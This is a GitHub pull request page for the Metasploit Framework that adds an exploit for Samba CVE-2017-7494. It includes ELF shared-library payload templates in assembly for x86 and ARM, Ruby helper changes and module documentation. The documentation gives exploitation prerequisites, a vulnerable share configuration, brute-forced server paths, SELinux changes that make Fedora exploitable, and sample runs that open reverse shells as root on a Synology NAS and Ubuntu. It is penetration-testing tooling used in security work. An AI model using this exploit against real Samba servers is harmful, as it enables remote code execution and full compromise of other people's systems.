Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

First crack at Samba CVE-2017-7494 #8450

Merged
merged 9 commits into from
May 25, 2017
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
92 changes: 92 additions & 0 deletions data/templates/src/elf/dll/elf_dll_armle_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
; build with:
; nasm elf_dll_armle_template.s -f bin -o template_armle_linux_dll.bin

BITS 32
org 0
ehdr:
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 40 ; e_machine = EM_ARMLE
dd 1 ; e_version = EV_CURRENT
dd _start ; e_entry = _start
dd phdr - $$ ; e_phoff
dd shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr

phdr:
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align

phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

p_flags needs to move to after p_memsz (like in the PT_LOAD section)

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Have you tested with this change?

Copy link
Contributor

@timwr timwr May 25, 2017

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'm struggling to get a decent test environment set up. I can test with LD_PRELOAD on Android and Linux debian-armel 3.2.0-4-versatile #1 Debian 3.2.51-1 armv5tejl GNU/Linux. Neither are working for me (even after this change).

dd dynsection ; p_offset
dd dynsection ; p_vaddr
dd dynsection ; p_vaddr
dd dynsz ; p_filesz
dd dynsz ; p_memsz
dd 0x1000 ; p_align

shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dd 0 ; sh_flags
dd dynsection ; sh_addr
dd dynsection ; sh_offset
dd dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 8 ; sh_addralign
dd 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dd 0 ; sh_flags
dd strtab ; sh_addr
dd strtab ; sh_offset
dd strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 0 ; sh_addralign
dd 0 ; sh_entsize
dynsection:
; DT_INIT
dd 0x0c
dd _start
; DT_STRTAB
dd 0x05
dd strtab
; DT_SYMTAB
dd 0x06
dd strtab
; DT_STRSZ
dd 0x0a
dd 0
; DT_SYMENT
dd 0x0b
dd 0
; DT_NULL
dd 0x00
dd 0
dynsz equ $ - dynsection

strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:
92 changes: 92 additions & 0 deletions data/templates/src/elf/dll/elf_dll_x86_template.s
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
; build with:
; nasm elf_dll_x86_template.s -f bin -o template_x86_linux_dll.bin

BITS 32
org 0
ehdr:
db 0x7f, "ELF", 1, 1, 1, 0 ; e_ident
db 0, 0, 0, 0, 0, 0, 0, 0
dw 3 ; e_type = ET_DYN
dw 3 ; e_machine = EM_386
dd 1 ; e_version = EV_CURRENT
dd _start ; e_entry = _start
dd phdr - $$ ; e_phoff
dd shdr - $$ ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw shentsize ; e_shentsize
dw 2 ; e_shnum
dw 1 ; e_shstrndx
ehdrsize equ $ - ehdr

phdr:
dd 1 ; p_type = PT_LOAD
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd 0xDEADBEEF ; p_filesz
dd 0xDEADBEEF ; p_memsz
dd 7 ; p_flags = rwx
dd 0x1000 ; p_align

phdrsize equ $ - phdr
dd 2 ; p_type = PT_DYNAMIC
dd 7 ; p_flags = rwx
dd dynsection ; p_offset
dd dynsection ; p_vaddr
dd dynsection ; p_vaddr
dd dynsz ; p_filesz
dd dynsz ; p_memsz
dd 0x1000 ; p_align

shdr:
dd 1 ; sh_name
dd 6 ; sh_type = SHT_DYNAMIC
dd 0 ; sh_flags
dd dynsection ; sh_addr
dd dynsection ; sh_offset
dd dynsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 8 ; sh_addralign
dd 7 ; sh_entsize
shentsize equ $ - shdr
dd 0 ; sh_name
dd 3 ; sh_type = SHT_STRTAB
dd 0 ; sh_flags
dd strtab ; sh_addr
dd strtab ; sh_offset
dd strtabsz ; sh_size
dd 0 ; sh_link
dd 0 ; sh_info
dd 0 ; sh_addralign
dd 0 ; sh_entsize
dynsection:
; DT_INIT
dd 0x0c
dd _start
; DT_STRTAB
dd 0x05
dd strtab
; DT_SYMTAB
dd 0x06
dd strtab
; DT_STRSZ
dd 0x0a
dd 0
; DT_SYMENT
dd 0x0b
dd 0
; DT_NULL
dd 0x00
dd 0
dynsz equ $ - dynsection

strtab:
db 0
db 0
strtabsz equ $ - strtab
global _start
_start:
Binary file added data/templates/template_armle_linux_dll.bin
Binary file not shown.
Binary file added data/templates/template_x86_linux_dll.bin
Binary file not shown.
120 changes: 120 additions & 0 deletions documentation/modules/exploit/linux/samba/is_known_pipename.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
## Vulnerable Application

This module exploits Samba from versions 3.5.0-4.4.14, 4.5.10, and 4.6.4 by loading a malicious shared library.
Samba's download archives are [here](https://download.samba.org/pub/samba/stable/). There are some requirements
for this exploit to be successful:

1. Valid credentials
2. Writeable folder in an accessible share
3. Server-side path of the writeable folder

However, in some cases anonymous access with common filesystem locations can be used to automate exploitation.

A vulnerable Samba config may have a share similar to the following in `smb.conf`. This is a setup for 'easy' exploitation
where no SMB options are required to be set:

```
[exploitable]
comment = CVE-2017-7494
path = /tmp
writable = yes
browseable = yes
guest ok = yes
```

Verified on:

1. Synology DS412+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
2. Synology DS412+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
3. Synology DS1512+ DSM 6.1.1-15101 Update 2 (Samba 4.4.9)
4. Synology DS1512+ DSM 6.1.1-15101 Update 3 (Samba 4.4.9)
5. Synology DS2415+ DSM 6.1-15047 (Samba 4.3.11)
6. Ubuntu 14.04.5 x64 (Samba 4.3.9)
7. Ubuntu 15.04 (Samba 4.1.13)
8. Ubuntu 16.04 (Samba 4.3.11)
9. Fedora 24 (Samba 4.4.13)

Currently not working against:

1. QNAP NAS Samba 4.4.9 on armv71
2. WD MyClous NAS Samba 4.0.0rc5 armv71

### SELinux

Fedora (and possibly Redhat) are not exploitable in their default installation. SELinux must be adjusted to allow nmbd to use net_admin, and smbd to exec the payload.

```
echo -ne "type=AVC msg=audit(1495745298.086:334): avc: denied { execstack } for pid=2365 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495717997.099:267): avc: denied { net_admin } for pid=959 comm="nmbd" capability=12 scontext=system_u:system_r:nmbd_t:s0 tcontext=system_u:system_r:nmbd_t:s0 tclass=capability permissive=0\ntype=AVC msg=audit(1495745002.690:308): avc: denied { execmem } for pid=1830 comm="smbd" scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:system_r:smbd_t:s0 tclass=process permissive=0\ntype=AVC msg=audit(1495745183.319:331): avc: denied { execute } for pid=2313 comm="smbd" path="/tmp/ucFtDpZI.so" dev="tmpfs" ino=27436 scontext=system_u:system_r:smbd_t:s0 tcontext=system_u:object_r:smbd_tmp_t:s0 tclass=file permissive=0" | audit2allow -M cve-2017-7494; semodule -X 300 -i cve-2017-7494.pp
```

## Verification Steps

1. Start msfconsole
2. Do: ```use exploit/linux/samba/is_known_pipename```
3. Do: ```set rhost [ip]```
4. Do: ```set target [target #]```
5. Do: ```exploit```

## Options

**SMB_SHARE_NAME**

The name of the SMB share containing a writeable directory. Shares are automatically scanned for, and if this
variable is non-blank, it will be preferred.

**SMB_SHARE_BASE**

The remote filesystem path correlating with the SMB share name. This value is preferred, but other values are
brute forced including:

1. /volume1
2. /volume2
3. /volume3
4. /shared
5. /mnt
6. /mnt/usb
7. /media
8. /mnt/media
9. /var/samba
10. /tmp/home/home/shared

**SMB_FOLDER**

The directory to use within the writeable SMB share. Writable directories are automatically scanned for, and if this
variable is non-blank, it will be preferred.

## Scenarios

### Synology DS412+ w/ INTEL Atom D2700 on DSM 6.1.1-15101 Update 2

```
msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 1.2.3.117:4444
[*] 1.2.3.119:445 - Using location \\1.2.3.119\ESX\ for the path
[*] 1.2.3.119:445 - Payload is stored in //1.2.3.119/ESX/ as eePUbtdw.so
[*] 1.2.3.119:445 - Trying location /volume1/eePUbtdw.so...
[-] 1.2.3.119:445 - Probe: /volume1/eePUbtdw.so: The server responded with error: STATUS_OBJECT_NAME_NOT_FOUND (Command=162 WordCount=0)
[*] 1.2.3.119:445 - Trying location /volume1/ESX/eePUbtdw.so...
[*] Command shell session 1 opened (1.2.3.117:4444 -> 1.2.3.119:34366) at 2017-05-24 21:12:07 -0400

id
uid=0(root) gid=0(root) groups=0(root),100(users)
uname -a
Linux synologyNAS 3.10.102 #15101 SMP Fri May 5 12:01:38 CST 2017 x86_64 GNU/Linux synology_cedarview_412+
```

### Ubuntu 16.04

```
msf exploit(is_known_pipename) > exploit

[*] Started reverse TCP handler on 192.168.0.3:4444
[*] 192.168.0.3:445 - Using location \\192.168.0.3\yarp\h for the path
[*] 192.168.0.3:445 - Payload is stored in //192.168.0.3/yarp/h as GTithXJz.so
[*] 192.168.0.3:445 - Trying location /tmp/yarp/h/GTithXJz.so...
[*] Command shell session 6 opened (192.168.0.3:4444 -> 192.168.0.3:45076) at 2017-05-24 19:41:40 -0500

id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
```
7 changes: 4 additions & 3 deletions lib/msf/core/exploit/smb/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -125,9 +125,10 @@ def unicode(str)
#
# You should call {#connect} before calling this
#
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
# @return [void]
def smb_login
simple.login(
def smb_login(simple_client = self.simple)
simple_client.login(
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
Expand All @@ -142,7 +143,7 @@ def smb_login
datastore['SMB::Native_LM'],
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
end


Expand Down
34 changes: 30 additions & 4 deletions lib/msf/util/exe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -1049,7 +1049,18 @@ def self.to_linux_x64_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux.bin", code)
end

# Create a 64-bit Linux ELF_DYN containing the payload provided in +code+
# Create a 32-bit x86 Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_x86_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x86_linux_dll.bin", code)
end

# Create a 64-bit x86_64 Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
Expand All @@ -1060,7 +1071,7 @@ def self.to_linux_x64_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_x64_linux_dll.bin", code)
end

# self.to_linux_mipsle_elf
# Create a 32-bit ARMLE Linux ELF containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
Expand All @@ -1071,7 +1082,18 @@ def self.to_linux_armle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux.bin", code)
end

# self.to_linux_mipsle_elf
# Create a 32-bit ARMLE Linux ELF_DYN containing the payload provided in +code+
#
# @param framework [Msf::Framework]
# @param code [String]
# @param opts [Hash]
# @option [String] :template
# @return [String] Returns an elf
def self.to_linux_armle_elf_dll(framework, code, opts = {})
to_exe_elf(framework, opts, "template_armle_linux_dll.bin", code)
end

# Create a 32-bit MIPSLE Linux ELF containing the payload provided in +code+
# Little Endian
# @param framework [Msf::Framework]
# @param code [String]
Expand All @@ -1082,7 +1104,7 @@ def self.to_linux_mipsle_elf(framework, code, opts = {})
to_exe_elf(framework, opts, "template_mipsle_linux.bin", code)
end

# self.to_linux_mipsbe_elf
# Create a 32-bit MIPSBE Linux ELF containing the payload provided in +code+
# Big Endian
# @param framework [Msf::Framework]
# @param code [String]
Expand Down Expand Up @@ -2117,8 +2139,12 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86
to_linux_x86_elf_dll(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf_dll(framework, code, exeopts)
end
end
when 'macho', 'osx-app'
Expand Down
Loading